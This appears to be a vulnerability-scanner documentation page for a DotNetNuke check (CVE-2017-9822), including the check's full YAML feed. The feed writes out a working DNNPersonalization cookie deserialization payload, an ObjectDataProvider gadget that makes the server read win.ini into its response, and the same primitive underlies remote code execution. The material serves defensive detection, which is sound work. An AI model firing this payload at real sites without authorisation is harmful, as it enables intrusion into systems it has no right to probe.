DotNetNuke — 1 vulnerability check

noctis ships 1 vulnerability check for DotNetNuke, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

DotNetNuke DNNPersonalization Cookie Deserialization RCE

CVECVE-2017-9822
Severityhigh · CVSS 8.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, http_request, match, script · highest QoD 97
Feedtests/vulnerabilities/dotnetnuke/CVE-2017-9822.yaml

Detects the DotNetNuke (DNN) 5.0.0 - 9.1.0 unauthenticated XmlSerializer deserialization of the plaintext DNNPersonalization cookie (CVE-2017-9822, CISA KEV). A crafted cookie makes the deserializer invoke DNN's FileSystemUtils.WriteFile: on C:\Windows\win.ini (finding when win.ini's section headers appear and were absent from a cookie-less baseline), else on a random non-existent file (finding when WriteFile's "Error : " message names that per-run file). Benign: only a public system file is read into the response. Does not cover the 9.1.1 - 9.3.x encrypted-cookie bypasses (CVE-2018-15811/15812/18325/18326).

How noctis detects it

  1. HTTP(S) request GET /__
  2. Checks base.body for (?m)^\[(extensions|mci extensions|fonts|files)\]\s*$
  3. HTTP(S) request GET /__
  4. Checks probe.body for (?m)^\[(extensions|mci extensions|fonts|files)\]\s*$ → finding QoD 97: DNNPersonalization cookie deserialized: ObjectDataProvider invoked FileSystemUtils.WriteFile and C:\Windows\win.ini section headers were st…
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request GET /__
  7. Parses / computes the next value with a Rhai script
  8. Checks errok for ^yes$ → finding QoD 97: DNNPersonalization cookie deserialized: ObjectDataProvider invoked FileSystemUtils.WriteFile on the per-run file C:\….ini and its 'Error : …

References:

Feed source — tests/vulnerabilities/dotnetnuke/CVE-2017-9822.yaml
# DotNetNuke (DNN) — DNNPersonalization cookie deserialization (CVE-2017-9822)
#
# Ported from the ProjectDiscovery Nuclei template `http/cves/2017/CVE-2017-9822.yaml`;
# same payload as the Metasploit module `exploits/windows/http/dnn_cookie_deserialization_rce`
# ("read file" mode) and ysoserial.net's DotNetNuke plugin.
#
# DNN 5.0.0 to 9.1.0 deserializes the plaintext `DNNPersonalization` cookie of
# anonymous visitors with XmlSerializer, taking the target type from the
# attacker-supplied `type` attribute. DNN loads the profile when it renders its
# own 404 page, so a request to a missing path (`/__`) is enough. CISA KEV, used
# by ransomware operators.
#
# 9.1.1 did not whitelist types: it encrypts the cookie with the site key, so a
# plaintext payload no longer decrypts. 9.1.1 - 9.3.x remain exploitable through
# the encrypted-cookie bypasses (CVE-2018-15811, -15812, -18325, -18326), which
# need the site key / a known-plaintext step and are NOT covered here: a clean
# result on 9.1.1 - 9.3.x does not mean the site is safe.
#
# Detection — benign exercises of the deserialization primitive (QoD 97). The
# cookie carries an ExpandedWrapper<FileSystemUtils, ObjectDataProvider>;
# deserializing it makes ObjectDataProvider invoke DNN's own static
# `FileSystemUtils.WriteFile(<path>)`, which streams the file into the response
# ahead of the page HTML, or writes "Error : <exception message>" when it fails.
# Nothing is written, executed or persisted on the target.
#   1. WriteFile("C:\Windows\win.ini") — a world-known, non-secret file. Its
#      section headers at the start of a line, absent from a cookie-less
#      baseline of the same page, prove an attacker-chosen method ran.
#   2. Fallback when (1) did not fire: WriteFile("C:\noctis-<random>.ini"), a
#      file that cannot exist. WriteFile's catch block writes
#      "Error : <message naming the path>"; the finding needs that "Error : "
#      prefix and the per-run random name on one line that is not a reflection of
#      the request XML. Covers hosts whose Windows directory is not C:\Windows or
#      that have no win.ini, and is bound to a per-run nonce. The message text
#      itself is localized on some .NET installs, so only "Error : " + the
#      random name are matched.
#
# Better than the Nuclei template (intentional):
#   - Baseline differential for (1): the same path is fetched first WITHOUT the
#     cookie; if that page already shows win.ini-like section headers (honeypot,
#     page publishing win.ini), or the baseline request failed, (1) is skipped.
#   - Headers must sit at the start of a line, as WriteFile emits them.
#   - No 404-status requirement: DNN sites with a custom 404 tab answer 200 and
#     are still vulnerable; Nuclei misses them.
#   - The nonce-bound error-path proof (2) catches hosts Nuclei misses.
uid: 84af3fb9-0bcc-4f3f-9c50-a616572dec23
name: "DotNetNuke DNNPersonalization Cookie Deserialization RCE (CVE-2017-9822)"
description: |
  Detects the DotNetNuke (DNN) 5.0.0 - 9.1.0 unauthenticated XmlSerializer
  deserialization of the plaintext DNNPersonalization cookie (CVE-2017-9822,
  CISA KEV). A crafted cookie makes the deserializer invoke DNN's
  FileSystemUtils.WriteFile: on C:\Windows\win.ini (finding when win.ini's
  section headers appear and were absent from a cookie-less baseline), else on
  a random non-existent file (finding when WriteFile's "Error : " message names
  that per-run file). Benign: only a public system file is read into the
  response. Does not cover the 9.1.1 - 9.3.x encrypted-cookie bypasses
  (CVE-2018-15811/15812/18325/18326).
cves: [CVE-2017-9822]
cvss: 8.8
severity: high
confidence_base: 0.25
category: rce
tags: [dotnetnuke, dnn, deserialization, xmlserializer, rce, kev, ransomware, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-9822"
  - "https://github.com/murataydemir/CVE-2017-9822"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2017/CVE-2017-9822.yaml"
  - "https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf"

steps:
  - id: init-baseline-ini
    action: set_var
    var_name: baseline_ini
    var_value: false

  - id: init-baseline-ok
    action: set_var
    var_name: baseline_ok
    var_value: false

  # Baseline: same 404 path, no personalization cookie.
  - id: baseline
    action: http_request
    method: GET
    port: "{{port}}"
    path: "/__"
    tls_insecure: true
    store_as: base
    on_success:
      set_vars:
        baseline_ok: true

  - id: baseline-ini-check
    action: match
    source: base.body
    pattern: "(?m)^\\[(extensions|mci extensions|fonts|files)\\]\\s*$"
    condition: "baseline_ok == true"
    on_match:
      set_vars:
        baseline_ini: true

  # Proof 1: ExpandedWrapper<FileSystemUtils, ObjectDataProvider> -> WriteFile(win.ini).
  - id: deser-probe
    action: http_request
    method: GET
    port: "{{port}}"
    path: "/__"
    tls_insecure: true
    headers:
      Accept: "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01"
      X-Requested-With: "XMLHttpRequest"
      Cookie: 'dnn_IsMobile=False; DNNPersonalization=<profile><item key="name1: key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><ExpandedElement/><ProjectedProperty0><MethodName>WriteFile</MethodName><MethodParameters><anyType xsi:type="xsd:string">C:\Windows\win.ini</anyType></MethodParameters><ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>'
    store_as: probe

  - id: deser-confirm
    action: match
    source: probe.body
    pattern: "(?m)^\\[(extensions|mci extensions|fonts|files)\\]\\s*$"
    condition: "baseline_ok == true && baseline_ini == false"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 97
        evidence: "DNNPersonalization cookie deserialized: ObjectDataProvider invoked FileSystemUtils.WriteFile and C:\\Windows\\win.ini section headers were streamed into the response (HTTP {{probe.status}}), absent from the cookie-less baseline (CVE-2017-9822)"
      stop: true

  # Proof 2 (reached only when proof 1 did not fire): WriteFile on a per-run
  # random file that cannot exist -> "Error : <message naming the file>".
  - id: init-errprobe-ok
    action: set_var
    var_name: errprobe_ok
    var_value: false

  - id: gen-token
    action: script
    code: |
      "noctis-" + rand_hex(8)
    store_as: tok

  - id: deser-err-probe
    action: http_request
    method: GET
    port: "{{port}}"
    path: "/__"
    tls_insecure: true
    headers:
      Accept: "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01"
      X-Requested-With: "XMLHttpRequest"
      Cookie: 'dnn_IsMobile=False; DNNPersonalization=<profile><item key="name1: key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><ExpandedElement/><ProjectedProperty0><MethodName>WriteFile</MethodName><MethodParameters><anyType xsi:type="xsd:string">C:\{{tok}}.ini</anyType></MethodParameters><ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>'
    store_as: errprobe
    on_success:
      set_vars:
        errprobe_ok: true

  # One line must hold "Error : " followed by the random file name, and must not
  # be a reflection of the request XML (no "anyType" / "DNNPersonalization").
  - id: deser-err-check
    action: script
    condition: "errprobe_ok == true"
    code: |
      let needle = tok + ".ini";
      let ok = false;
      if type_of(errprobe.body) == "string" {
        for line in errprobe.body.split("\n") {
          let e = line.index_of("Error : ");
          let n = line.index_of(needle);
          if e >= 0 && n > e && !line.contains("anyType") && !line.contains("DNNPersonalization") {
            ok = true;
          }
        }
      }
      if ok { "yes" } else { "no" }
    store_as: errok

  - id: deser-err-confirm
    action: match
    source: errok
    pattern: "^yes$"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 97
        evidence: "DNNPersonalization cookie deserialized: ObjectDataProvider invoked FileSystemUtils.WriteFile on the per-run file C:\\{{tok}}.ini and its 'Error : ' handler named that file in the response (HTTP {{errprobe.status}}) (CVE-2017-9822)"

View these feeds on GitHub